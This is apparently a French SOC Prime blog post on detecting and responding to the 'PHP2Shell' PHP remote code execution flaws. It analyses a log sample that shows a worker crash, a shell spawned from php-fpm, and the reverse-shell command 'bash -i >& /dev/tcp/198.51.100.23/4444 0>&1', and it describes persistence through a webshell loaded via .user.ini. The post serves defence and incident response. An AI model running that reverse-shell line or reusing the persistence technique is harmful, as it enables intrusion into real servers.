Analyse de Détection et d’Exploitation PHP2Shell

Analyse de Détection et d’Exploitation PHP2Shell

SOC Prime Team
SOC Prime Team linkedin icon Suivre

La détection de PHP2Shell est importante car la fenêtre entre une mise à jour de sécurité et une exploitation dans le monde réel peut être d’une seule journée. PHP2Shell est le nom de deux failles d’exécution de code à distance non authentifiées dans le noyau PHP, CVE-2026-109618 et CVE-2026-109619, toutes deux notées CVSS v4.0 9.2. Aucune authentification n’est nécessaire, donc toute application PHP exposée sur une version non corrigée est une cible. Dans l’exemple ci-dessous, l’exploitation se manifeste par un crash de travailleur PHP suivi de l’exécution de commandes en tant qu’utilisateur du serveur web.

Cet article couvre la détection de PHP2Shell à l’aide d’un échantillon de journal analysé avec LogTotal, un outil d’analyse de journaux qui associe les événements à des menaces connues. Ci-dessous, nous expliquons le contexte de la vulnérabilité, l’origine des journaux, ce que LogTotal a découvert, et comment répondre.

Analyse de PHP2Shell

Les deux failles PHP2Shell obtiennent une note de 9.2 selon CVSS v4.0, et les deux sont accessibles sans authentification sur toute installation PHP qui sert des requêtes web. Pour lire correctement l’échantillon de journal, il est utile de savoir comment fonctionne chaque bogue, à quelle vitesse la divulgation a été faite, et quelles installations sont exposées.

Commencer gratuitement

Détails de la vulnérabilité pour PHP2Shell

Les deux CVE sont des bogues distincts de sécurité mémoire dans la gestion d’une requête par PHP. L’un ou l’autre permet à un attaquant d’exécuter du code en tant qu’utilisateur du serveur web.

  • CVE-2026-109618, corruption de la mémoire hors des limites. Lorsque PHP manque de mémoire en cours de configuration d’une requête, les données internes sont laissées à moitié construites, et le code de nettoyage se fie alors à celles-ci.
  • CVE-2026-109619, état global obsolète. L’état interne survit à la mémoire de la requête à laquelle il fait référence, donc la prochaine requête traitée par le même travailleur peut agir sur les données résiduelles.

C’est pourquoi l’exploitation se manifeste par des erreurs PHP « Taille de mémoire autorisée … épuisée » et des crashs de travailleurs PHP. Les scanners publics de PHP2Shell cherchent les mêmes signaux.

Chronologie de la divulgation et de l’exploitation

Date (2026)Événement
26 octobreCISA a ajouté CVE-2026-109618 à son catalogue KEV
22 octobreExploitation dans cet échantillon enregistré sur web-prod-01
21 octobrePHP a publié des versions corrigées ; watchTowr a observé une exploitation dans la nature
20 octobreDes détails ont fuité sur les réseaux sociaux avant la divulgation prévue le 22 octobre ; PHP a annoncé une sortie d’urgence

Les chercheurs de Calif ont trouvé les failles et les ont signalées à PHP. La fuite est la raison pour laquelle la chaîne de LogTotal s’intitule « Vulnérabilités PHP critiques divulguées ». Du code PoC public et des frameworks d’exploitation ont apparu sur GitHub en quelques jours, et un outil de recherche signale une exécution de commande vérifiée en tant que www-data sur des builds de PHP 7.4 à 8.4 inférieurs aux versions corrigées.

Quels systèmes sont affectés par PHP2Shell

PHP liste comme vulnérables toutes les versions avant 8.5.12, 8.4.27, 8.3.36 et 8.2.35, et les branches plus anciennes sont également concernées.

Branche PHPAffectésFix
8.5.xEn dessous de 8.5.128.5.12
8.4.xEn dessous de 8.4.278.4.27
8.3.xEn dessous de 8.3.368.3.36
8.2.xEn dessous de 8.2.358.2.35
7.4, 8.0, 8.1Toutes les versionsAucune version officielle ; utilisez un package de distribution ou un fournisseur LTS, les rétroportages minimaux de PHP, ou mettez à jour
7.3 et plus ancien, y compris PHP 5Toutes les versionsAucune correction ; passez à une branche prise en charge

Chaque installation PHP qui sert des requêtes web est concernée, qu’elle fonctionne sous PHP-FPM, Apache mod_php, php-cgi, LiteSpeed ou FrankenPHP. PHP considère le risque maximal pour Apache mod_php, où une attaque peut réussir avant que le code de l’application ne s’exécute.

Source et collecte des journaux

AttributValeur
FichierPHP2Shell_sample.jsonl
Événements6
Hôteweb-prod-01 (serveur web de production Linux)
Fenêtre temporelle22 octobre 2026, 11:31:30 à 11:31:33 UTC (trois secondes)
SchémaStyle ECS (@timestamp, événement, hôte, processus, fichier, utilisateur)

Le fichier mélange deux sources en un seul schéma :

  • 2 lignes en texte brut du runtime PHP et du journal d’erreurs PHP-FPM
  • 4 événements (fichier et processus), normalisés à ECS

Le mélange est typique de ce qui arrive à un SIEM en pratique : des journaux d’erreurs d’application aux côtés de la télémétrie EDR.

Détecter PHP2Shell

LogTotal a traité 6 lignes en 4.2 secondes, appliqué 9 règles à 4 lignes, et formé une chaîne sur web-prod-01 : PHP2Shell, Vulnérabilités PHP critiques divulguées (CVE-2026-109618 & CVE-2026-109619), Critique, correspondance à 100 %, 3 règles activées.

Champ VerdictRésultat
VerdictSuspect, nécessite enquête
GravitéCritique
ConfianceMoyenne

Comment la chaîne PHP2Shell se déroule

La chaîne suit l’exploitation en trois étapes, toutes dans un délai de trois secondes.

  1. Crash. La règle « Tentative d’exploitation possible CVE-2026-109618 / CVE-2026-109619 – Épuisement de la mémoire PHP / Crash du travailleur PHP » a correspondu à une erreur fatale de PHP « Taille de mémoire autorisée … épuisée » et à un décès de l’enfant PHP-FPM 1201 sur SIGSEGV. Ce sont les mêmes signaux de crash que les scanners publics de PHP2Shell recherchent.
  2. Shell depuis le travailleur web. « Travailleur PHP susceptible de lancer processus inhabituel » et « Shell suspect via serveur web [Linux] » ont intercepté php-fpm, s’exécutant en tant que www-data, lançant sh -c bash /dev/shm/.s. Le script était mis en scène dans le RAM-back /dev/shm.
  3. Shell inversé. « Exfiltration de données possible / Shell inversé via Bash » a correspondu à bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. En dehors de la chaîne, quatre autres règles ont touché la même commande, dirigées par l’indicateur Linux Reverse Shell (Critique).

Utilisation des résultats LogTotal dans le triage PHP2Shell

La chaîne donne l’ordre des événements et la gravité sur un écran. Les événements bruts fournissent les IOCs à bloquer et la persistance à éliminer. Utilisez les deux : confirmez les trois étapes de la chaîne, puis examinez les événements de fichier et les lignes de commande pour les IOCs et la persistance.

Atténuation de PHP2Shell

La solution définitive pour PHP2Shell est une version corrigée de PHP, et PHP déclare qu’aucun changement de configuration ne peut entièrement atténuer ces failles. Sur un serveur qui a déjà été exploité, patcher ne suffit pas : la webshell et .user.ini persistent après une mise à jour de PHP.

Patchez chaque installation PHP

  1. Inventoriez chaque serveur et application qui exécute PHP, en commençant par les systèmes exposés à l’internet et ceux qui exécutent PHP en tant que module Apache.
  2. Mettez à jour chaque installation à 8.5.12, 8.4.27, 8.3.36, ou 8.2.35, correspondant à sa branche. Les distributions Linux ont reçu les patchs avant la sortie, vérifiez donc les packages de distribution mis à jour.
  3. Redémarrez chaque travailleur PHP pour que la correction prenne effet.
  4. Pour PHP 7.4, 8.0 et 8.1, utilisez un package de distribution ou un fournisseur LTS, les rétroportages minimaux de PHP, ou mettez à jour. PHP 7.3 et les versions antérieures n’ont pas de correctif.
  5. Limitez l’accès Internet à tout système PHP que vous ne pouvez pas mettre à jour immédiatement.

Les trackers communautaires signalent également CVE-2026-115560, un vecteur de progression de téléchargement de session dépendant de la configuration, couvert par un conseil d’information PHP le 23 octobre 2026. Cela ne fait pas partie de PHP2Shell et a été laissé pour une version ultérieure ; la recommandation intérimaire est session.upload_progress.enabled = 0.

Réponse recommandée par LogTotal

  1. Isolez web-prod-01.
  2. Conservez ses journaux web, système, et réseau.
  3. Enquêtez sur la destination du reverse-shell.
  4. Vérifiez la version PHP et le patch.
  5. Alertez sur les futurs crashs de travailleurs PHP et les lancements de shell.

Étapes supplémentaires à partir des preuves brutes

  1. Bloquez le flux sortant vers 198.51.100.23:4444.
  2. Conservez les preuves avant le nettoyage : copiez uploads/.cache.php, .user.ini, et /dev/shm/.s. Les fichiers dans /dev/shm sont perdus au redémarrage.
  3. Supprimez la persistance. Supprimez la directive auto_prepend_file, ou mieux, reconstruisez l’hôte sur une version corrigée de PHP.
  4. Faites tourner chaque secret que www-data peut lire, tels que les identifiants de base de données et les clés API dans la configuration de l’application.
  5. Cherchez dans toute la flotte web pour :
    • les fichiers .user.ini contenant auto_prepend_file
    • les fichiers PHP cachés dans les dossiers de téléchargement
    • les shells lancés par php-fpm, php-cgi, apache2, ou httpd

Suivi continu de PHP2Shell

Gardez les journaux d’erreurs PHP et PHP-FPM affluant vers votre SIEM aux côtés de la télémétrie EDR. Dans cet échantillon, les lignes d’erreur ont été le premier signal et les événements de fichier EDR détenaient la persistance. Chacune des sources seule aurait raconté seulement la moitié de l’histoire.

FAQ

Qu’est-ce que PHP2Shell et comment ça fonctionne?

PHP2Shell est constitué de deux failles d’exécution de code à distance non authentifiées dans le noyau PHP : CVE-2026-109618 (corruption de la mémoire hors des limites) et CVE-2026-109619 (état global obsolète), toutes deux notées CVSS v4.0 9.2. Chacune permet à un attaquant d’exécuter du code en tant qu’utilisateur du serveur web. La section d’analyse ci-dessus explique comment chacun fonctionne.

Quand PHP2Shell a-t-il été découvert pour la première fois?

Les chercheurs de Calif ont signalé les failles à PHP. Les détails ont fuité le 20 octobre 2026, et PHP a expédié les corrections le 21 octobre, un jour avant la divulgation prévue.

Quelles versions de PHP sont affectées par PHP2Shell?

Toutes les versions avant 8.5.12, 8.4.27, 8.3.36, et 8.2.35, plus tout PHP 7.4, 8.0, 8.1, et branches plus anciennes y compris PHP 5. Toute installation PHP qui sert des requêtes web est concernée, avec apache mod_php présentant le risque le plus élevé.

Quel est l’impact de PHP2Shell sur les systèmes?

Un attaquant non authentifié peut exécuter du code en tant qu’utilisateur du serveur web. Dans cet échantillon, cela a conduit à un shell inversé vers 198.51.100.23:4444 et à une webshell cachée chargée à chaque requête PHP via .user.ini. Toute donnée sensible lisible par www-data doit être considérée comme exposée.

PHP2Shell peut-il encore m’affecter en 2026?

Oui. PHP2Shell est exploité dans la nature et est listé dans le catalogue KEV de la CISA. Les serveurs non corrigés, les branches en fin de vie sans rétroportage, et les serveurs compromis dont la persistance de la webshell n’a jamais été supprimée restent à risque.

Comment puis-je me protéger de PHP2Shell?

Mettez à jour vers une version corrigée de PHP et redémarrez chaque travailleur PHP ; aucun changement de configuration ne peut pleinement atténuer PHP2Shell. Ensuite, limitez la sortie du serveur web, faites tourner les secrets lisibles par l’utilisateur web, et auditez les dossiers de téléchargement et les fichiers .user.ini pour la persistance. La section d’atténuation énumère les étapes complètes.

Comment puis-je détecter PHP2Shell?

Collectez les journaux d’erreurs PHP et PHP-FPM avec les événements de processus et de fichier EDR. Alertez sur l’épuisement de mémoire PHP et les crashs de travailleurs, les shells lancés par php-fpm, php-cgi, apache2, ou httpd, et les nouveaux fichiers .user.ini avec auto_prepend_file. L’exécution d’une exportation via LogTotal cartographie ces événements à la chaîne PHP2Shell et montre l’ordre de l’attaque en un seul aperçu.

Rejoignez la plateforme Detection as Code de SOC Prime pour améliorer la visibilité sur les menaces les plus pertinentes pour votre entreprise. Pour vous aider à démarrer et à générer une valeur immédiate, planifiez dès maintenant une réunion avec des experts de SOC Prime.